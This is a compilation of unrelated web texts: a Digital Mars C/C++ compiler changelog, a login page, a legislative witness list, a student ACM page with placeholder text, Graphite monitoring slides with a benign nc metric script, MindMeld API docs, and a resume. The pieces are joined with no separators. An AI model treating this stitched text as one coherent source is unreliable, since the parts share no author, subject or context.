- Fixed problem with needing to #include <typeinfo.h> before <exception>.
- Removed the _ prefixed long double names from math.h.
- Now issues an error on negative array dimensions.
- Fixed numerous issues with compiling Boost.
- Fixed preprocessor problem with F. Tydeman's tests.
- Fixed nanl() and copysignl().
- Fixed bug with redefinitions of statics.
- Fixed internal error out 637.
- Fixed internal error type 149.
- Upgraded to STLsoft 1.6.5.
- Make
- Comment lines are now removed before \ line splicing (thanks, Matthew).
- Command lines can be much longer now.
WHAT'S NEW FOR C/C++ 8.34
Jun 1, 2003- Added STLsoft libraries; see \dm\stlsoft\readme\readme.txt.
- Fixed numerous template problems.
- Fixed several enum promotion problems.
- Fixed problem with bringing ?: to common type.
- Fixed problem with large stack frames.
- Fixed argument reversal on movq2dq inline asm opcode.
- Changed arguments (added count) to swprintf() and vswprintf() for compatibility with C99. This can break existing code.
- Added 8087 opcodes feni, fneni, fdisi, and fndisi.
- Fixed -A problems with stdlib.h and string.h.
- type_info::before() is now const per C++98.
- Fixed case insensitivity problem in RegExp.
- Added standard headers <exception> and <typeinfo> per C++98. This required a rebuild of the stlport libraries and DLLs.
WHAT'S NEW FOR C/C++ 8.33
Mar 18, 2003- Addes support for ::template syntax.
- Fixed numerous template problems.
- Implemented hypotl().
- Implemented frexpl().
- ldexp() is now builtin to the compiler.
- Fixed some problems compiling Boost.
- Fixed some problems with template argument deduction.
- Fixed rare case of loss of precision with long doubles.
- Fixed problem with 16 bit DOS libraries and 8088 PC/XT.
WHAT'S NEW FOR C/C++ 8.32
Jan 4, 2003- Fixed internal error cg87 2490.
- Fixed gp fault for nested template expansions with non-type args.
- Added predefined macro __DMC_VERSION_STRING__.
- Implemented boolean conversions per C++98 4.12.
- Upgraded namespace support to C++98.
- Implemented overloading by enum.
- Implemented Argument Dependent Lookup.
- Implemented friend namespace qualified classes.
- Fixed operator bool conversions.
- C99 restrict is now always on for C compiling.
- C99 dynamic sizeof works.
- Fixed numerous bugs with namespaces and templates.
- Redid how macro expansion worked to bring it in line with C99. This can break existing code.
- operator->() can now accept any return type.
- Added \dm\include\wctype.h.
- Implemented template explicit instantiation.
- Implemented _finddata_t, _findfirst, _findnext, _findclose.
- Fixed obscure crash bug in exception unwinding.
- Upgraded STLport to reflect improved compiler.
WHAT'S NEW FOR C/C++ 8.31
Oct 17, 2002- Bugs fixed
- Fixed bug with nested class member templates.
- Fixed bug with inline asm and LGDT/LIDT operand matching.
- Make 5.02
- Now accepts ~ rule flag.
- Command line length increased from 127 to 996.
WHAT'S NEW FOR C/C++ 8.30
Oct 8, 2002- C
- static and type-qualifier-list now supported for array dimension per C99 <IP_ADDRESS>.
- Variable length arrays (VLAs) per C99 <IP_ADDRESS> now implemented.
- Implemented declarations in clause-I of for statement per C99 <IP_ADDRESS>.
- Implemented mixing statements and declarations per C99 6.8.2-1.
- Implemented implicit return 0; from main() per C99 <IP_ADDRESS>.3.
- Updated fenv.h functions per C99 7.6.
- C++
- Extended C++ with support for array declarations per C99 <IP_ADDRESS>.
- Added type_info to typeinfo.h.
- C and C++
- __declspec(import) now works with DOSX (-mx) memory model by generating an extra level of indirection like under Win32.
- Bugs fixed
- Fixed internal error cgcod 2347.
- Fixed internal error cgcod 1402.
- Fixed internal error cg87 268.
- Fixed internal error exp2 121.
- Fixed internal error newman 963.
- Fixed problem with template overload resolution.
- Fixed forward template instantiation bug.
- Fixed partial ordering with constants.
WHAT'S NEW FOR C/C++ 8.29
Jul 31, 2002- C++
- Implemented member template functions.
- Implemented member template classes.
- Implemented class template partial specializations.
- Implemented partial ordering of class template specializations.
- Implemented class template explicit specializations.
- Implemented template friends.
- Implemented new C++ 98 for statement scoping rules. This can be disabled with -A- (for backwards compatibility with old code), and then re-enabled with -As.
- For C++, changed 3rd operand of conditional operator from a conditional-expression to an assignment-expression. There is no switch to revert to the old behavior.
- Operator delete can now take cv-qualified pointers.
- main() now defaults to return 0; if no return is specified.
- Implemented function try blocks.
- Function templates instantiations that match non-template function declarations are now distinct functions. This can break some existing code, but the source fixes are worth doing to be standard compliant. Function template instantiations now include the template-argument-list as part of the function signature.
- Added -wc switch which warns on every occurance of a C style cast which should be replaced with the appropriate C++ style cast.
- Mangled names can now be considerably longer.
- Added STLport 4.5.3.
- Fixed el 2005 bug
- C and C++
- Implemented universal character names for strings and character literals.
- Fixed iasm 2585 bug
- Fixed error parsing REP MOVSD/CMPSD instructions
- Unrecognized preprocessing directives are now ignored in false conditionals (previously, an error was issued). -A will cause them to be an error.
- Fixed problem with -s stack probes in 16 bit code.
- Non-existing directories are now created as necessary when writing output files. This is convenient when writing .obj files to temporary directories.
WHAT'S NEW FOR C/C++ 8.28
May 22, 2002- Added empty base class optimization.
- Added -Jb compiler switch to disable empty base class optimization for compatibility with code compiled with earlier compilers.
- Fixed cgobj 3034 bug
- Fixed cg87 256 bug
- Added:
#pragma DMC mfc
for compatibility with MFC 4.2. - Added -Aa- for compatibility with MFC 4.2.
- Empty array members of structs, such as:
char string[];
are now aligned based on the array subtype, rather than the widest type. - Fixed bug with unsigned to double conversion.
- Fixed problem with handle passed to DllMain().
WHAT'S NEW FOR C/C++ 8.27
Mar 6, 2002- Renamed dm\include\strstrea.h to dm\include\strstream.h
- Fixed problem with disp_cursorcol and standout mode in win32 version
- Fixed bug with inline asm and copy propagation
- Fixed eh 683 bug
- Fixed cod1 1278 bug
- Fixed cg87 217 bug
- Now aligns double autos for faster floating point execution
- Added inline assembler support for Intel SSE and SSE2 instructions
- Added inline assembler support for AMD 3DNOW! instructions
- Added new instructions to OBJ2ASM disassembler
WHAT'S NEW FOR C/C++ 8.26
Jan 23, 2002- Added \dm\include\zmouse.h
- Fixed bug in float.h
- Improved code generation for long long's.
- Fixed long double conversions and unsigned long long's.
- Fixed tentative definition bug.
WHAT'S NEW FOR C/C++ 8.25
Dec 14, 2001- Added MicroEmacs text editor.
- Fixed IDDE Resource Editor.
- Fixed startup code to be compatible with D.
- Fixed bugs with 16 bit code generation.
WHAT'S NEW FOR C/C++ 8.23
For C++:- Fixed eh 682 bug.
- Fixes for problems with template instantiation and exception handling.
- Fixed problems with C, -A, preprocessor, and //.
- Fixed dos_setdrive() bug for win32.
- Fix for _inpw() and _outpw() for DOSX.
WHAT'S NEW FOR C/C++ 8.22
10/28/01For C:
- Increased max string length.
- Fixed cg87 263 error.
- Fixed bug with -D_MT and STL.
- Fixed template expansion bug with array constructors.
- Fixed stl_config.h conflict with windows.h
- Fixed bug in _kbhit() for Win32.
WHAT'S NEW FOR C/C++ 8.20
For C++:- Added SGI STL 3.3. Numerous fixes to support it.
- Templates are now instantiated only when semantically required, rather than whenever referred to.
- Added header files cassert, cctype, cerrno, cfloat, ciso646, climits, clocale, cmath, csetjmp, csignal, cstdarg, cstddef, cstdio, cstdlib, cstring, ctime, cwchar, cwctype, new.
- Fixed C++ declarations for strchr(), etc., per C++98 21.4.
- Fixed warnings about 0 sized structs used before set.
- Fixed default constructor bug with new(p) char().
- Fixed unused operator->() expansion inside template spurious error.
- In-class static const integral initializers now supported.
- Fixed default template parameter bug.
WHAT'S NEW FOR C/C++ 8.1e
For C++:- -Ab and -Aw are now always on (meaning that bool and wchar_t are real types, not typedefs). Warning: This can break existing code.
- -Aa is now always on (meaning that operator new[] and operator delete[] are separately overloadable) Warning: This can break existing code.
- parameter-declarations now allowed in function template template-parameter-list.
- typename can now appear in template-parameter instead of class.
- Explicit template function template-arguments implemented.
- Partial ordering of function templates implemented.
- elaborated-type-specifier (i.e. typename) implemented.
- mutable implemented.
- explicit implemented.
WHAT'S NEW FOR C/C++ 8.1d
- Fixed code gen bug with -Ab.
- Fixed name mangling with complex floating point types.
- Fixed code gen bug with complex floating point types.
- stdlib.h now compiles with -A.
- Added util.h.
WHAT'S NEW FOR C/C++ 8.1c
- Regular Expressions now added to runtime library.
- Fixed code gen bugs with __interrupt functions.
- rint functions are now inlined by the compiler.
- fabsl and sqrtl are now inlined by the compiler.
- Fixed bug with /= for long doubles.
- Fixed long long support in library.
- Improved long double support in library.
WHAT'S NEW FOR C/C++ 8.1A
- Name mangling for type bool is changed from _X to _N, in order to be more compatible with VC.
- Literal float support has now been brought in line with ANSI C99.
- Floating point constants for other than static initializations are not folded if the folding would result in any exception flags being raised. This is per C99. To always fold the constants anyway, use the -ff (fast float) flag.
- Fixed problems with hex long doubles.
WHAT'S NEW FOR C/C++ 8.18
- Hex floats no longer turned off by -A.
- Long longs no longer turned off by -A.
- // comments in C no longer turned off by -A.
- The default CPU target is now the Pentium Pro (-6), not the Pentium.
WHAT'S NEW FOR C/C++ 8.17
- Fixed problem with dllexport on function pointers.
- Added gc.h
- Added Hans Boehm garbage collector to rtl
- Added long double, %a and %A support to printf for win32
WHAT'S NEW FOR C/C++ 8.16
- Fixed 16 bit code gen bugs.
- Added iso646.h
- Added stdint.h
- Added stdbool.h
- Added va_copy() to stdarg.h
- Added isxxxx() floating point comparison macros to math.h
WHAT'S NEW FOR C/C++ 8.15
- Fixed spurious syntax error compiling some MFC code.
WHAT'S NEW FOR C/C++ 8.13
- Now with 32 bit X32 DOS extender support!
- Fixed code generator support for X32.
WHAT'S NEW FOR C/C++ 8.12
- Changed __i keyword to __imaginary due to numerous conflicts with existing code.
WHAT'S NEW FOR C/C++ 8.10
- Added support for __restrict pointer syntax.
- Added support for macros with variable & blank argument lists per C99.
- Added support for __func__ per C99 <IP_ADDRESS>.
- Added __FUNCTION__ predefined macro.
- Added __PRETTY_FUNCTION__ predefined macro.
- Fixed bug in wcscmp() for 0 length strings.
- -Aa switch to SC is now the default. There is no way to turn it off.
- Added _Complex and _Imaginary type support per C99.
- Renamed C++ complex class file complex.h to oldcomplex.h.
- Added new complex.h per C99.
- Added complex library functions per C99.
- Added isinf() per C99.
- Added long double support to isxxx() functions in fp.h.
WHAT'S NEW FOR C/C++ 8.0
- Added __DMC__ predefined macro.
- Added -d switch to generate make dependency information.
- Added debug statements.
- Added debug declarations.
- Added Contract Programming features.
- Added ability to embed C in HTML files.
- Added native support for 80 bit long doubles (Win32 only).
- Added support for CPU bit instructions via functions in bitops.h.
- Switch -mn is now the default instead of -ms.
- 16 bit preprocessor spp.exe no longer supported - use sppn.exe.
WHAT'S NEW FOR C/C++ 7.6
- Better Code Generation
- Merged C and C++ Compilers. They are now in the same executable. This saves disk space and testing time.
WHAT'S NEW FOR C/C++ 7.5
- Added MMX Extensions
- New Intel MMX instructions now supported by the inline assembler.
- Added Support for Alternative Names
- With -A and the C++ compiler, the alternative representations in the standard 2.9 are now supported. In the future, they will become the default, so don't use the following names otherwise: and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq
- Added -B[e|f|g|j] switches
- See "Definitive list of SC switches" for how they work. The SCMSGS environment variable and SC.INI setting is no longer supported.
- Added #elseif directive, with same semantics as #elif.
- Changed overload resolution rules to reflect ANSI C++ standard changes regarding integral promotions vs integral conversions.
- Added namespaces
- Added -g5 switch
- Changed overload resolution rules to reflect ANSI C++ standard changes regarding integral promotions vs integral conversions.
- See "Definitive list of SC switches".
- Added #pragma setlocale("locale")
- See "Pragmas supported by SC/SC++".
- Added _CPPRTTI and _CPPUNWIND predefined macros
- See "Predefined macros".
- Added New Keywords
- explicit, mutable, typename - but the semantics of them aren't implemented.
- Added __unaligned Keyword
- For unaligned pointer support for PowerPC. Ignored for Intel compiler.
- Added Pentium Pro Instructions to Inline Assembler and OBJ2ASM.
- Added new P6 instructions: CMOVcc FCMOVcc FCOMI FCOMIP FUCOMI FUCOMIP RDMPC
- Added -ND switch
- See "DEFINITIVE LIST OF SC SWITCHES", and _MT and _DLL in "PREDEFINED MACROS".
- -NLlibfile
- Added this switch. See "DEFINITIVE LIST OF SC SWITCHES".
- __wacrtused
- __wacrtused_con
- Added these for use in Win32 UNICODE apps. See "ACRTUSED".


KafkaWize 1.0
Kafka Self-Service Portal
Please enter your username and password
Invalid username and password.
You have been logged out.
Please enter your username and password


WITNESS LIST Urban Affairs Committee September 25, 2003-10:00A HB 66 For: abel, douglas (texas medical center) caudill, william (texas medical center)


ACM is the world's largest education and scientific computing society. It delivers resources that advance computing as a science and a profession. ACM provides the computing field's premier Digital Library and serves its members and the computing profession with leading-edge publications, conferences, and career resources.
"My goal for the ACM is to instill students with a sense of self efficacy through partaking in extracurricular projects pertaining to computer science, providing them with the confidence and competitive edge upon graduation, ultimately making them more desirable to prospective employment opportunities." - Words from our PresidentWant to know what we are up to? Check out our calendar!
Insert paragraph summary.
Insert summary paragraph.
Insert summary paragraph.


Created by Jeff Schroeder / @SEJeff / github: SEJeff / Presentation Video
(no unicorns were harmed in the creation of this presentation)
A composer for adhoc graphing, a dashboard for ops, and a REST API for developers/external tools.
Used for creating and manipulating new graphs on the fly
A built-in dashboard creator to add graphs to a big monitoring screen
Mailgun monitors their elasticsearch infrastructure with graphite.
The REST API allows other external tools to use graphite data for creating the pretty
The caching, relay, and storage layer. Carbon is what clients actually send metrics to.
Carbon uses storage schemas
[apache_busyWorkers]
pattern = ^servers\.www.*\.workers\.busyWorkers$
retentions = 5m:1d,15m:7d,1h:30d,6h:1y
Graphite docs on sending metrics
#!/bin/bash
# Basically the best carbon client in the world
GRAPHITE_SERVER=${GRAPHITE_SERVER:-localhost}
GRAPHITE_PORT=${GRAPHITE_PORT:-2003}
echo "foo.bar.baz $(($RANDOM % 500)).$(($RANDOM % 5)) $(date +%s)" | \
nc "$GRAPHITE_SERVER" "$GRAPHITE_PORT"
metric.schema.name value_as_float unix_epoch_time
The carbon aggregator buffers metrics and performs down-sampling operations. Examples could be things like summing requests per hour and only firing the counter to the cache once per hour. Many people use one of the various forms of statsd to do this as well.
TL;DNR: Use statsd, it is awesome!
Regex-based rules or consistent-hashing.
Example relay-rules.conf
[db_servers]
pattern = ^collectd\..*db.*
servers = <IP_ADDRESS>, <IP_ADDRESS>:2004, myserver.example.com
Whisper is a python library created essentially to be a better RRD.
The internets agrees!
In RRD speak, data retention policies are configured via a RRA using reverse polish notation.
Sorry, not the yummy hot dogs us Chicagoans love!
Taken from stack overflow, so it has to be right
RRA:AVERAGE:0.5:1:288 \ # 5 minute avg for 1 day
RRA:AVERAGE:0.5:3:672 \ # 15 minute avg for 1 week
RRA:AVERAGE:0.5:12:744 \ # 1 hour avg for 1 month
RRA:AVERAGE:0.5:72:1480 # 6 hour avg for 1 year
Enough time blabbing, time for 12 great graphite tools
Graphene is built for tv static dashboards
Giraffe is great viewing pre-generated realtime dashboards
Written by square, cubism, helps build compact and realtime dashboards.
If you love jQuery (I do!), graphite.js, makes it pretty trivial to pull graphs into your existing application
For those who don't prefer a roll your own approach
Descartes is a full featured graphing dashboard with builtin collaboration and native "composer" functionality.
Gdash uses a simple DSL for generating graphs and is easy to get going
Tasseo is an alerting dashboard that can change graph colors based on thresholds.
Tattle is a popular alerting dashboard
Orion full featured dashboard application with granular access control over metrics
Graph Explorer replacement for the graphite composer with tagging and other cleverness
Graphsky is more or less a ganglia replacement dashboard built ontop of graphite
Dusk a realtime hotspot dashboard


MM.activeSession.entities represents the Entities collection in the MindMeld API. The history of Entity objects, which are derived from TextEntries or directly posted to the Session objects that can be accessed by the User
Methods
-
delete(entityid, onSuccess, onFail)
-
Delete an entity from the active session
Name Type Description entityid
string id of the entity to delete
onSuccess
APISuccessCallback optional callback for when deleting the entity was successful
onFail
APIErrorCallback optional callback for when deleting the entity failed
Example
function deleteEntity () { MM.activeSession.entities.delete('<entity id>', onEntityDeleted); } function onEntityDeleted () { // entity deleted }
-
get(params, onSuccess, onFail)
-
Get the history of entities that are associated with the specified session. Each entity represents an individual logical concept that occurs at a point in time during a session. For example, an entity could be a proper noun, such as the name of a person or company, or it could also be any noun phrase representing a distinct concept. Entities can be posted directly to a session or be automatically derived from posted text entries. This endpoint can be used to retrieve and search across the full history of entities associated with this session. A request with a user token can access this collection only if the associated user is permitted to access the session object itself. A request with an admin token can access this collection for any session associated with your application.
Name Type Description params
QueryParameters optional A
QueryParameters
object allowing you to filter the entities returned. See documentation here for more detailsonSuccess
APISuccessCallback optional callback for when getting the entity list was successful
onFail
APIErrorCallback optional callback for when getting the entity list failed
Example
function getEntities () { MM.activeSession.entities.get(null, onGetEntities); } function onGetEntities (response) { var entities = response.data; }
-
json(){Array.<Object>}
-
Helper function returns the JSON data for the entities collection
Example
function getEntities () { MM.activeSession.entities.get(null, onGetEntities); } function onGetEntities () { var entities = MM.activeSession.entities.json(); // MM.activeSession.entities.json() returns a JSON object // containing data received from MM.activeSession.entities.get() }
-
onUpdate(updateHandler, onSuccess, onError, getQueryParams)
-
Sets the activeSession.entities' onUpdate handler. If no handler is passed in, onUpdate unsubscribes from push events
Name Type Description updateHandler
APISuccessCallback optional callback for when the activeSession's entity list updates
onSuccess
function optional callback for when subscription to onUpdate event succeeds
onError
function optional callback for when subscription to onUpdate event fails
getQueryParams
QueryParamGetter optional custom function used to determine
QueryParameters
used to in get() request when collection updatesExamples
function entitiesOnUpdateExample () { // set the onUpdate handler for the entities list MM.activeSession.entities.onUpdate( onEntitiesUpdate, onSubscribedToEntitiesUpdates, onSubscribeToEntitiesUpdatesError, getEntityListParams ); } function onSubscribedToEntitiesUpdates () { // successfully subscribed to updates to the session's entities list // now, create a new entity createEntity(); } function onSubscribeToEntitiesUpdatesError () { console.log('error subscribing to entity list updates'); } function getEntityListParams () { // When the entity list updates, only fetch 5 objects return { limit: 5 }; } function onEntitiesUpdate () { // there was an update to the entities list var entities = MM.activeSession.entities.json(); // entities contains the latest list of entities } function createEntity () { var newEntityData = { text: 'Diplo', entitytype: 'person', score: 0.9 }; MM.activeSession.entities.post(newEntityData, onCreateNewEntity); }
function deregisterEntitiesOnUpdate () { MM.activeSession.entities.onUpdate(null); }
-
post(entityData, onSuccess, onFail)
-
Adds a new entity to the active session. Each entity represents an individual logical concept that occurs at a point in time during the session. For example, an entity can be a proper noun, such as the name of a person or place (e.g. 'Barack Obama', 'Paris'), or it could be a noun phrase representing a distinct concept (e.g. 'minestrone soup'). Entities are automatically derived from submitted text entries, however this endpoint can be used to explicitly post entities to a session. Refer to documentation here for more information
Name Type Description entityData
Object Object containing new entity data
Name Type Description text
string The text of the entity. This is typically a proper noun or a noun phrase representing a distinct logical concept. For example, "Winston Churchill", "great wall of china", "Citizen Kane", "baseball playoffs", etc.
entitytype
string A short string that can be used to categorize entities by type. This can be an arbitrary string that can be used in subsequent searches on the entities collection to filter entities by type. There are several entitytype values, however, that the MindMeld platform uses. They are listed here
score
number A decimal number between 0 and 1 indicating the relative importance of this entity in the overall context of the session. A value of 0 indicates that this entity has no impact on the session context. A value of 1 indicates that this entity is very important in interpreting the overall context of the session and therefore also important in determining search ranking and recommendations.
onSuccess
APISuccessCallback optional callback for when creating new entity was successful
onFail
APIErrorCallback optional callback for when creating new entity failed
Example
function createEntity () { var newEntityData = { text: 'Diplo', entitytype: 'person', score: 0.9 }; MM.activeSession.entities.post(newEntityData, onCreateNewEntity); } function onCreateNewEntity () { // New entity created }


I am a recent graduate with a B.S. in Computer Science from Cal State Fullerton, with experience in software development and game design.
For this project, me and my team adapted the common A* pathing algorithm to a simple maze game, to create an enemy AI. I personally made the entire game framework using python, and integrated the algorithm, which I developed with my partner, into the game's systems. Artwork and maze design was done by the other 2 team members.
In this project, me and my group of 4 made this fully functioning virtual synthesizer. I personally was responsible for the audio processing, which included creating a stereo delay, implementing an external reverb fucntionality, and creating the basic oscillators for the synthesizer, including a Low Frequency Oscillator(LFO). It is a fully playable monophonic instrument, and has full MIDI implementation, allowing an external keyboard to be used to control it.
GPA: 3.3
Other than programming, my main hobby is playing video games, and I have loved games since I was very young. Some of my favorites are Skyrim, Fallout New Vegas, and The Witcher 3. I also love music, and spend a lot of my time playing guitar, as well as producing music.
I also enjoy hiking, camping, and travel, especially when travelling to beautful locations like national parks.